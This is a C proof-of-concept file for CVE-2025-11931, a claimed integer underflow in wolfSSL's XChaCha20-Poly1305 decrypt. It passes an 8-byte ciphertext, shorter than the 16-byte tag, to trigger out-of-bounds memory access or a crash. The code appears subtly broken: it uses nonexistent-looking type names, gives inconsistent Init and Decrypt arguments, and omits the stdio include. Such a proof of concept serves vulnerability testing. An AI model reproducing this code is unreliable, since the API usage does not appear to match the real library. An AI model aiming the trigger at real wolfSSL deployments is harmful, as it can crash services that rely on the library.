/*
* CVE-2025-11931 PoC - Integer Underflow in wolfSSL XChaCha20-Poly1305 Decrypt
* This PoC demonstrates triggering the integer underflow by providing a ciphertext
* shorter than the minimum required length (TAGLEN = 16 bytes)
*/
#include <wolfssl/options.h>
#include <wolfssl/wcryptocb.h>
#include <wolfssl/wc_encrypt.h>
int main(void) {
int ret;
wc_XChaCha20Poly1305EncDec enc_ctx;
wc_XChaCha20Poly1305Decrypt decrypt_ctx;
/* 256-bit key */
byte key[32] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f};
/* 24-byte nonce for XChaCha20 */
byte nonce[24] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17};
/* Malicious short ciphertext - less than TAGLEN (16 bytes) */
/* This triggers integer underflow: ciphertext_len - TAGLEN */
byte short_ciphertext[8] = {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x11, 0x22};
word32 ciphertext_len = 8; /* Less than minimum required */
/* Output buffers */
byte plaintext[64];
word32 plaintext_len = sizeof(plaintext);
/* Initialize context */
ret = wc_XChaCha20Poly1305_Init(&decrypt_ctx, key, nonce,
XCHACHA20_POLY1305_DECRYPT);
if (ret != 0) {
printf("Init failed: %d\n", ret);
return ret;
}
/*
* VULNERABLE CALL:
* When ciphertext_len < 16 (TAGLEN), the internal calculation
* ciphertext_len - TAGLEN causes integer underflow
* This results in out-of-bounds memory access
*/
ret = wc_XChaCha20Poly1305_Decrypt(&decrypt_ctx,
key, nonce,
NULL, 0, /* AAD */
short_ciphertext, ciphertext_len,
plaintext, plaintext_len);
printf("Decrypt returned: %d\n", ret);
/* Expected: ret < 0 (error due to invalid input length) */
/* Vulnerable version: May crash or return success with corrupted data */
return ret;
}